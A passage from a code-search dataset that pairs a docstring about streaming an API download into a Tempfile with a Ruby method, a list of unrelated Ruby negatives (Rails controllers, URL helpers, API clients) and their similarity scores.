response_hash\n rescue Exception => e\n logger.error(e)\n raise e\n end\n end", "def show\n @session = @event.sessions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "def login_url(params,session)\n self.authorize_url({:authorize_url => @auth_path})\n end", "def view\n @_view\n end", "def detail_url\n \"#{user.annict_url}/@#{user.username}/reviews/#{id}\"\n end", "def generate_preview_url(target_url)\n preview_url = url_for(\n :controller => ('/' + target_url[\"target_controller\"]),\n :action => target_url[\"target_action\"],\n :id => params[:id]\n )\n end", "def login_url(params,session)\n self.authorize_url\n end", "def show\n respond_to :html, :json\n session[:request_page] = subscriber_path(@subscriber)\n end", "def show\n authorize Session\n end", "def return_to_url\n session[:return_to]\n end", "def desktop_url(url = request.url)\n desktop_path(url)\n end", "def session_get\n nessus_rest_get(\"session\")\n end", "def show\n @session_user = current_user\n end", "def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end", "def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end", "def show\n gon.problem_id = params[:id]\n @brainstorm_url = \"http://#{params[:id]}.discourse.gotong.royong.org/session/sso?return_path=%2F\"\n end", "def generate_preview_url\n GlobalConstant::Base.root_url + @params['path'] + '?ts=' + @params['ts'].to_s\n end", "def short_url\n \"http://redd.it/#{self[:id]}\"\n end", "def url_for_document(doc, options = {})\n return doc unless routable?(doc)\n\n route = blacklight_config.view_config(:show).route.merge(action: :show, id: doc).merge(options)\n route[:controller] = params[:controller] if route[:controller] == :current\n route\n end", "def new_session_path(arg)\n login_path\n end", "def link_to_view(country_url_path, purchase_id = nil)\n purchases_show_for_user_path(:country_url_path => country_url_path, :id => purchase_id)\n end", "def sview\n ActiveSupport::StringInquirer.new(@params[:sview]) unless @params[:sview].nil?\n end", "def link_to_database \n \"/connect/#{url_uuid}\"\n end", "def get_session_id\n check_lisitng_id\n calendar_frame = get_vrbo_calendar_page.iframes.first.src\n page = @agent.get calendar_frame\n link = page.links[3].href\n uri = Addressable::URI.parse(link)\n uri.query_values['sessionId']\n end", "def preview\n mixpanel_tab_event(\"View Item\", \"Get Preview URL\")\n begin\n embed_url = user_client.embed_url(params[:id])\n redirect_to embed_url\n rescue\n redirect_to no_support_url\n end\n\n end", "def log_view(url, manual_expiration: false)\n record = {}\n\n # 0 - standard user view\n # 1 - manual expiration\n record[:kind] = manual_expiration ? 1 : 0\n\n record[:user_id] = current_user.id if user_signed_in?\n record[:ip] = request.env['HTTP_X_FORWARDED_FOR'].nil? ? request.env['REMOTE_ADDR'] : request.env['HTTP_X_FORWARDED_FOR']\n\n # Limit retrieved values to 256 characters\n record[:user_agent] = request.env['HTTP_USER_AGENT'].to_s[0, 255]\n record[:referrer] = request.env['HTTP_REFERER'].to_s[0, 255]\n\n record[:successful] = url.expired ? false : true\n\n url.views.create(record)\n url\n end", "def get_view_for_viewid(view_id)\n http = create_http\n request = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n response = http.request(request)\n views = JSON.parse(response.body)['views']\n views.each do |view|\n if view['id'] == view_id\n return view\n end\n end\nend", "def get_view_for_viewid(view_id)\n http = create_http\n request = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n response = http.request(request)\n views = JSON.parse(response.body)['views']\n views.each do |view|\n if view['id'] == view_id\n return view\n end\n end\nend", "def session_id; end", "def session_id; end", "def session_id; end", "def session_id\n @session.nil? ? '' : @session.session_id\n end", "def user_session_redirect_url(url)\n # Work with what we have\n case\n when url.present?\n url\n when request.referer.present?\n request.referer\n else\n root_url\n end\n end", "def url()\r\n @window_url\r\n end", "def set_view_name\n\n if !(session[:generic_view_name].nil?)\n\n @view_name = session[:generic_view_name]\n\n else\n\n error_log(\"session[:generic_view_name] was nil\",2)\n\n end\n\n end", "def link\n BASE_URL + (private? ? \"/private/#{@key}\" : \"/#{@id}\")\n end", "def webview_url_for(path)\n Addressable::URI.join(configuration.webview_url_base, '/contents/', path).to_s\n end", "def show\n @session = Session.find(params[:id])\n session = project_one_session(@session)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: { session: session }, :except => exceptions }\n format.js { render json: { session: session }, :except => exceptions, :callback => params[:callback] }\n end\n end", "def get_view(title, fallback: nil)\n Doing.setting(['views', title], fallback)\n end", "def sess\n self.http_get(self.session_uri)#.tap{|t| STDERR.puts \"Trace: #{caller[1]}: returning #{t}\"}\n end", "def html\n @session.html\n end", "def show\n _endpoint \"view?\" do |ctx, seq:, **|\n render \"success\" + ctx[:current_user] + seq.inspect\n end\n end", "def get_view_for_viewid(view_id)\n\tp view_id\n\thttp = create_http\n\trequest = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n\tresponse = http.request(request)\n\tviews = JSON.parse(response.body)['views']\n\tviews.each do |view|\n\t\tp view\n\t\tif view['id'] == view_id\n\t\t\treturn view\n\t\tend\n\tend\nend", "def show\n if @document.is_private != true || signed_in? \n @pdf_url = build_pdf_url @document\n else\n signed_in_user\n end\n end", "def session_id\n request.session_options[:id]\n end", "def show\r\n unless read_fragment(:action => 'show', :part => 'session')\r\n #debe llamarse @ses como en valid_session, si no cascar la cach\r\n @ses = get_object(:include => [{:training_sets => :exercise}])\r\n end\r\n unless read_fragment(:action => 'show', :part => 'comments')\r\n @comments = Comment.find(:all, :conditions =>[\"commentable_type = 'TrainingSession' AND commentable_id = ?\", params[:id]], :include => [:user])\r\n end\r\n @buttons = write_permission?\r\n end", "def guest_url\n if guest_access_enabled?\n \"http://#{@campfire.subdomain}.campfirenow.com/#{guest_invite_code}\"\n else\n nil\n end\n end" ]
[ "0.7522495", "0.6145662", "0.59553003", "0.59191215", "0.5768783", "0.5741065", "0.5604294", "0.55353403", "0.54902905", "0.5478923", "0.54365796", "0.5401586", "0.5388175", "0.536817", "0.53624254", "0.530224", "0.529813", "0.5292428", "0.5257301", "0.5239954", "0.5227571", "0.5193993", "0.5189024", "0.5183542", "0.5177775", "0.51749563", "0.51609415", "0.51541674", "0.5151977", "0.5150594", "0.5140472", "0.51221955", "0.51182055", "0.5112585", "0.51080763", "0.5105635", "0.50930625", "0.5086237", "0.50846374", "0.5078801", "0.50672674", "0.5066908", "0.5055351", "0.5054578", "0.5049186", "0.5044359", "0.50367004", "0.5029409", "0.50242794", "0.50217485", "0.5009171", "0.50056964", "0.50055414", "0.49766576", "0.4971683", "0.4970009", "0.49690205", "0.49581504", "0.49523574", "0.49519", "0.4941123", "0.49332157", "0.49307838", "0.4930363", "0.49201095", "0.4916977", "0.49155527", "0.49155527", "0.49119952", "0.49106884", "0.49092042", "0.49077234", "0.49072877", "0.49044886", "0.49042866", "0.49040675", "0.49021655", "0.48922825", "0.4885653", "0.4871342", "0.4871342", "0.48681033", "0.48681033", "0.48681033", "0.48590976", "0.4858073", "0.4852351", "0.48441696", "0.4841479", "0.4840645", "0.48270983", "0.482384", "0.48161823", "0.4808342", "0.48059276", "0.47919556", "0.47896078", "0.4775348", "0.4773319", "0.47728828" ]
0.7154142
1
API Glue Internal: make api_call, stream the response.body to a Tempfile see api_call for parameters Returns the Tempfile
def download_file(method, endpoint, params={}) params.merge!({ :token => self.token }) request = self.send("format_#{method}", "#{@url.path}/#{endpoint}", params) file = Tempfile.new("crocodoc-download-#{params[:uuid]}") # use streaming to keep memory usage sane @http.request(request) do |response| response.read_body {|chunk| file.write chunk } end file.close file end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def call_api(http_method, path, opts = {})\n request = build_request(http_method, path, opts)\n attempt = 0\n loop do\n if opts[:stream_body]\n tempfile = nil\n encoding = nil\n\n response = request.perform do | chunk |\n unless tempfile\n content_disposition = chunk.http_response.header['Content-Disposition']\n if content_disposition && content_disposition =~ /filename=/i\n filename = content_disposition[/filename=['\"]?([^'\"\\s]+)['\"]?/, 1]\n prefix = sanitize_filename(filename)\n else\n prefix = 'download-'\n end\n prefix = prefix + '-' unless prefix.end_with?('-')\n unless encoding\n encoding = chunk.encoding\n end\n tempfile = Tempfile.open(prefix, @config.temp_folder_path, encoding: encoding)\n @tempfile = tempfile\n end\n chunk.force_encoding(encoding)\n tempfile.write(chunk)\n end\n if tempfile\n tempfile.close\n @config.logger.info \"Temp file written to #{tempfile.path}, please copy the file to a proper folder \"\\\n \"with e.g. `FileUtils.cp(tempfile.path, '/new/file/path')` otherwise the temp file \"\\\n \"will be deleted automatically with GC. It's also recommended to delete the temp file \"\\\n \"explicitly with `tempfile.delete`\"\n end\n else\n response = request.perform\n end\n\n if @config.debugging\n @config.logger.debug \"HTTP response body ~BEGIN~\\n#{response.body}\\n~END~\\n\"\n end\n\n unless response.success?\n if response.request_timeout?\n fail APIError.new('Connection timed out')\n elsif response.code == 0\n # Errors from libcurl will be made visible here\n fail APIError.new(:code => 0,\n :message => response.return_message)\n else\n body = response.body\n if response.headers['Content-Encoding'].eql?('gzip') && !(body.nil? || body.empty?) then\n gzip = Zlib::Inflate.new(Zlib::MAX_WBITS + 16)\n body = gzip.inflate(body)\n gzip.close\n end\n if should_retry(attempt, @config.max_retries, response.code, @config.enable_retry)\n sleep calculate_retry_interval(response, @config.backoff_base, @config.backoff_multiplier, attempt, @config.timeout)\n attempt = attempt + 1\n next\n else\n fail APIError.new(:code => response.code,\n :response_headers => response.headers,\n :response_body => body),\n response.message\n end\n end\n end\n\n if opts[:return_type]\n data = deserialize(opts[:api_version], response, opts[:return_type])\n else\n data = nil\n end\n return data, response.code, response.headers\n end\n end", "def api_rb(call)\n <<-EOS\n#{call[:id]} = http_#{call[:method]}(\n \"#{call[:endpoint]}\",\n #{field_param(call[:params])}\n)\nEOS\n end", "def call(env)\n @env = env\n @request = Rack::Request.new(@env)\n if api_request?\n start_time = Time.now\n user_agent = UserAgent.parse(@request.user_agent)\n performance_log = PerformanceLog.new\n performance_log.request_time = start_time\n performance_log.request_ip = @request.ip\n performance_log.request_content = \"#{@request.request_method} #{@request.path}\"\n performance_log.client_platform = user_agent.browser\n performance_log.client_version = user_agent.version.to_s\n\n # if request contains csv attachment then store attached csv file on file system\n upload = @request.params[\"upload\"]\n if upload.present?\n directory = \"#{Rails.root}\" + \"/public/csv_files\"\n Dir.mkdir(directory) unless File.exists?(directory)\n fname = upload[:filename]\n upload[:filename] = fname.chomp(File.extname(fname)) + \"_\" + DateTime.now.to_s + File.extname(fname)\n file_name = upload[:filename]\n path = File.join(directory, file_name)\n File.open(path, \"w\") { |f| f.write(upload[:tempfile].read.gsub(/[\\\"\\'\\!\\$\\%\\^\\&\\*\\(\\)\\+\\=\\{\\}\\;\\`\\|\\<\\>\\]\\[]/, \"\")) }\n size = File.size(path)\n performance_log.request_params = @request.params.merge(file_size: size).to_json[0..1998] rescue @request.params.to_json[0..1998]\n else\n performance_log.request_params = @request.params.to_json[0..1998]\n end\n # Read server configuration from config/server.yml file\n performance_log.server_name = SERVER_CONFIGURATION[\"onestop_service_name\"]\n performance_log.server_version = SERVER_CONFIGURATION['onestop_code_version']\n performance_log.server_ip = SERVER_CONFIGURATION['onestop_server_ip']\n performance_log.server_instance_name = SERVER_CONFIGURATION['onestop_server_instance_name']\n\n call_rails\n\n rails_route_params = env['action_dispatch.request.parameters']\n\n # calculate total response body\n response_body = \"\"\n @response.each { |part| response_body += part }\n performance_log.client_id = @request.ip\n response_time = (((Time.now - start_time).seconds) * 1000).to_i\n performance_log.response_time = response_time\n performance_log.response_content = response_body.to_s.truncate(2000) rescue nil\n performance_log.error_code = @response.status rescue nil\n performance_log.error_description = @response.status_message rescue nil\n db_response_time = @response.request.env['action_controller.instance'].db_runtime rescue nil\n performance_log.db_response_time = db_response_time\n performance_log.total_response_time = response_time + db_response_time.to_i\n performance_log.controller_name = rails_route_params['controller'] rescue nil\n performance_log.action_name = rails_route_params['action'] rescue nil\n performance_log.save\n else\n call_rails\n end\n [@status, @headers, @response]\n end", "def api_call(endpoint, request_body = false, params = false, access_token = false)\n\n #Create the url\n endpoint_string = params ? endpoint[:name].gsub(':id', params[:id].to_s) : endpoint[:name]\n\n url = URI.parse(@api_url + endpoint_string)\n\n # construct the call data and access token\n call = case endpoint[:method]\n when :post\n Net::HTTP::Post.new(url.request_uri, initheader = {'Content-Type' =>'application/json', 'User-Agent' => 'Weship Ruby SDK'})\n when :get\n Net::HTTP::Get.new(url.request_uri, initheader = {'Content-Type' =>'application/json', 'User-Agent' => 'Weship Ruby SDK'})\n when :put\n Net::HTTP::Put.new(url.request_uri, initheader = {'Content-Type' =>'application/json', 'User-Agent' => 'Weship Ruby SDK'})\n when :delete\n Net::HTTP::Delete.new(url.request_uri, initheader = {'Content-Type' =>'application/json', 'User-Agent' => 'Weship Ruby SDK'})\n else\n throw \"Unknown call method #{endpoint[:method]}\"\n end\n\n if request_body\n call.body = request_body.to_json\n end\n\n if access_token\n call.add_field(\"Authorization\" ,\"Token token=#{access_token}\" );\n end\n\n # create the request object\n request = Net::HTTP.new(url.host, url.port)\n\n request.read_timeout = 30\n request.use_ssl = true\n # make the call\n response = request.start {|http| http.request(call) }\n # returns JSON response as ruby hash\n JSON.parse(response.body) unless response.body == nil\n end", "def make_upload_call(endpoint, file)\n raise PutioError::FileNotExist unless File.exists?(file)\n\n # Let's compile the API URL we're calling.\n url = PUTIO_BASE_URL + endpoint\n url += url.include?(\"?\") ? \"&\" : \"?\"\n url += \"oauth_token=%s\" % [@access_token]\n\n # And call it.\n response = Curl::Easy.new(url)\n response.multipart_form_post = true\n response.headers['Accept'] = 'application/json'\n response.http_post(Curl::PostField.file('file', file))\n\n # Natively parse the JSON\n response = JSON::parse(response.body_str)\n \n # And use Hashie to present it.\n response = Hashie::Mash.new(response)\n end", "def api_request(&block)\n response = block.call\n if response.status == 307 and response.body =~ /^\\/REST\\//\n response.body.sub!('/REST/','') \n response = get(response.body)\n end\n parse_response(JSON.parse(response.body || '{}'))\n end", "def test_send_file()\n # Parameters for the API call\n file = File::open(TestHelper.get_file('http://localhost:3000/response/image'))\n\n # Perform the API call through the SDK function\n result = @controller.send_file(file)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end", "def call(env)\n # catch(:halt) do\n # r = @_request\n # r.block_result(instance_exec(r, &block))\n # @_response.finish\n # end\n [200, { \"Content-Type\": \"text/plain\" }, \"Helo\"]\n end", "def exec_api(json_req)\n begin\n req = sign_request(json_req)\n return HttpChannel.new(api_uri).execute(req)\n rescue Curl::Err::CurlError => ex\n return JsonResponse.new(\"fail\", ex.message)\n end\n end", "def upload\n begin\n apicaller =ApiCaller.new(@hostOutput,\"\",@user,@pass)\n restPath = @pathOutput\n \n \n ##uplaoding otu table\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/otu.table/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/otu_table.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded otu_table.txt \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n \n ##uplaoding phylogenetic tarred files\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/phylogenetic.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/phylogenetic.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded phylogenetic.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uplaoding taxanomy tarred files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/taxanomy.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/taxanomy.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded taxanomy.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading fasta files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/fasta.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/fasta.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded fasta.result.tar.gz \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading plots files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/plots.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/plots.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded plots.result.tar.gz plots\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end \n \n #uploading raw results file back\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/raw.results.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/raw.results.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded raw.results.tar.gz \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n #uploading metadata file back\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/sample.metadata/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/metadata.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded metadata file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uploading json setting file\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/settings.json/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@scratch}/jobFile.json\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded jsonfile file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uploading mapping.txt file\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/mapping.txt/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/mapping.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded mapping.txt file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n end\n \n end", "def post_recording_batchrequests_with_http_info(body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RecordingApi.post_recording_batchrequests ...\"\n end\n \n \n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling RecordingApi.post_recording_batchrequests\" if body.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/recording/batchrequests\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BatchDownloadJobSubmissionResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RecordingApi#post_recording_batchrequests\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_results\n case_id = params[:case_id]\n lab_external_id = params[:lab_id]\n consumer_id = get_consumer_id()\n lab = Lab.find_by(lab_external_id: lab_external_id, api_consumer_id: consumer_id)\n lab_id = lab.id.to_s\n tmp_file = File.join('Data/tmp/', lab_id, case_id + '.json')\n data = File.read(tmp_file)\n send_data(data,\n disposition: 'inline',\n type: 'application/json')\n\n File.delete(tmp_file)\n end", "def proxy\n original_method = request.method\n original_params = request.query_parameters\n resource = params[:path].nil? ? '/' : params[:path]\n original_params = add_branch_to_params(original_params, resource)\n original_payload = request.request_parameters[controller_name]\n if request.post? && request.raw_post\n original_payload = request.raw_post.clone\n end\n original_payload = get_file_data(params) if params[:filedata]\n client = rest_client\n begin\n res = client.call_tapi(original_method, URI.escape(resource), original_params, original_payload, nil)\n # 401 errors means our proxy is not configured right.\n # Change it to 502 to distinguish with local applications 401/403 errors\n resp_data = res[:data]\n if res[:code] == 401 || res[:code] == 403 \n res[:code] = 502\n end\n if resp_data.respond_to?(:headers)\n if resp_data.headers[:content_disposition]\n send_data resp_data, disposition: resp_data.headers[:content_disposition], type: resp_data.headers[:content_type]\n return\n end\n if resp_data.headers[:x_resource_count]\n response.headers['x-resource-count'] = resp_data.headers[:x_resource_count]\n end\n render status: res[:code], json: resp_data\n else\n render status: res[:code], json: resp_data\n end\n rescue Exception => e\n render status: 500, json: { error: e }\n end\n end", "def call\n with(response: response)\n end", "def test_content_api_call\n path = ENV['content_api_path']\n url = \"https://ussouthcentral.services.azureml.net\"\n token = ENV['content_api_token']\n\n content_p = get_content_api_params(content_api_params)\n\n puts \"content_api params: #{content_api_params.inspect}\"\n\n conn = Faraday.new(url, ssl: {verify: false}) do |conn|\n conn.use FaradayMiddleware::FollowRedirects, cookies: :all\n conn.request :url_encoded\n conn.adapter :net_http\n end\n\n response = conn.send(:post, path) do |req|\n req.headers[\"Authorization\"] =\"Bearer #{token}\" unless token.blank?\n req.headers[\"Content-Type\"] =\"application/json\"\n\n req.params = content_p\n req.body = content_p.to_json\n end\n\n puts \"\\nresponse: #{response.inspect}\\n\"\n api_response_json = JSON.parse(response.body) rescue { response_status: response.status }\n scored_content = \"\"\n if api_response_json['Results']\n scored_content = api_response_json['Results']['output1']['value']['Values'][-1][-1]\n end\n\n render json: {content: scored_content}.merge(api_response_json)\n end", "def call_api (action, argument = \"\")\n\t\turi_str = BASE_URL + action + @api_key + argument\n\t\turi = URI.parse(uri_str)\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\t#check response\n\t\tresponse_body = JSON.parse(response.body)\n\tend", "def api_call(payload); end", "def http_get(_request, h_r, temp_location)\n return nil unless ::File.exist?(temp_location)\n\n h_r.update_header('Content-Type', 'application/octet-stream')\n h_r.update_header('Content-Length', ::File.size(temp_location))\n h_r.update_header('X-Sabre-Temp', 'true')\n h_r.status = 200\n h_r.body = ::File.open(temp_location, 'r')\n false\n end", "def _api_call(uri, body=nil)\n # Create the request\n res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n req = Net::HTTP::Post.new(uri)\n req['Content-Type'] = 'application/json'\n req.body = body\n\n http.request(req)\n end\n\n case res\n when Net::HTTPSuccess\n puts \"Crossbar::HTTP - Response Body: #{res.body}\" if self.verbose\n return JSON.parse(res.body, {:symbolize_names => true})\n else\n raise \"Crossbar::HTTP - Code: #{res.code}, Error: #{res.message}\"\n end\n end", "def requestIngestAPI(method, url, timeout, payload, additionalErrorMessage=\"\")\n begin\n response = RestClient::Request.new(\n :method => method,\n :url => $oc_server + url,\n :user => $oc_user,\n :password => $oc_password,\n :timeout => timeout,\n :payload => payload\n ).execute\n rescue RestClient::Exception => e\n BigBlueButton.logger.error(\" A problem occured for request: #{url}\")\n BigBlueButton.logger.info( e)\n BigBlueButton.logger.info( e.http_body)\n BigBlueButton.logger.info( additionalErrorMessage)\n exit 1\n end\n\n return response\nend", "def api action, path, params={}, body=nil\n body ||= params.delete(:BODY)\n\n remote_params = URI.encode_www_form params\n remote_path = debug_path = path.sub('%o', Flow.organization).sub(':organization', Flow.organization)\n remote_path += '?%s' % remote_params unless remote_params.blank?\n\n curl = ['curl -s']\n curl.push '-X %s' % action.to_s.upcase\n curl.push '-u %s:' % api_key\n\n if body\n body = body.to_json unless body.is_a?(Array)\n curl.push '-H \"Content-Type: application/json\"'\n curl.push \"-d '%s'\" % body.gsub(%['], %['\"'\"']) if body\n end\n\n curl.push '\"https://api.flow.io%s\"' % remote_path\n command = curl.join(' ')\n\n puts command if defined?(Rails::Console)\n\n dir = Rails.root.join('log/api')\n Dir.mkdir(dir) unless Dir.exist?(dir)\n debug_file = '%s/%s.bash' % [dir, debug_path.gsub(/[^\\w]+/, '_')]\n File.write debug_file, command + \"\\n\"\n\n data = JSON.load `#{command}`\n\n if data.kind_of?(Hash) && data['code'] == 'generic_error'\n data\n else\n data\n end\n end", "def test_send_file()\n # Parameters for the API call\n file = TestHelper.get_file('https://dl.dropboxusercontent.com/u/31838656/binary.png')\n\n # Perform the API call through the SDK function\n result = self.class.controller.send_file(file)\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 200)\n\n # Test whether the captured response is as we expected\n assert_not_nil(result)\n expected_body = JSON.parse('{\"passed\":true}')\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end", "def make_api_call (api_path)\n uri = URI.parse(GPS_CLIENT_SETTINGS[\"url\"] + api_path)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.scheme==\"https\"\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n request = Net::HTTP::Get.new(uri.request_uri)\n request['API-SECRET'] = client_secret\n response = http.request(request) \n make_adapter_response(response)\n end", "def call_api(http_method, path, opts = {})\n request = build_request(http_method, path, opts)\n response = request.run\n\n if @config.debugging\n @config.logger.debug \"HTTP response body ~BEGIN~\\n#{response.body}\\n~END~\\n\"\n end\n\n unless response.success?\n if response.timed_out?\n fail ApiError.new('Connection timed out')\n elsif response.code == 0\n # Errors from libcurl will be made visible here\n fail ApiError.new(:code => 0,\n :message => response.return_message)\n else\n fail ApiError.new(:code => response.code,\n :response_headers => response.headers,\n :response_body => response.body),\n response.status_message\n end\n end\n\n if opts[:return_type]\n data = deserialize(response, opts[:return_type])\n else\n data = nil\n end\n return data, response.code, response.headers\n end", "def call_api(http_method, path, opts = {})\n request = build_request(http_method, path, opts)\n response = request.run\n\n if @config.debugging\n @config.logger.debug \"HTTP response body ~BEGIN~\\n#{response.body}\\n~END~\\n\"\n end\n\n unless response.success?\n if response.timed_out?\n fail ApiError.new('Connection timed out')\n elsif response.code == 0\n # Errors from libcurl will be made visible here\n fail ApiError.new(:code => 0,\n :message => response.return_message)\n else\n fail ApiError.new(:code => response.code,\n :response_headers => response.headers,\n :response_body => response.body),\n response.status_message\n end\n end\n\n if opts[:return_type]\n data = deserialize(response, opts[:return_type])\n else\n data = nil\n end\n return data, response.code, response.headers\n end", "def call_api(http_method, path, opts = {})\n request = build_request(http_method, path, opts)\n response = request.run\n\n if @config.debugging\n @config.logger.debug \"HTTP response body ~BEGIN~\\n#{response.body}\\n~END~\\n\"\n end\n\n unless response.success?\n if response.timed_out?\n fail ApiError.new('Connection timed out')\n elsif response.code == 0\n # Errors from libcurl will be made visible here\n fail ApiError.new(:code => 0,\n :message => response.return_message)\n else\n fail ApiError.new(:code => response.code,\n :response_headers => response.headers,\n :response_body => response.body),\n response.status_message\n end\n end\n\n if opts[:return_type]\n data = deserialize(response, opts[:return_type])\n else\n data = nil\n 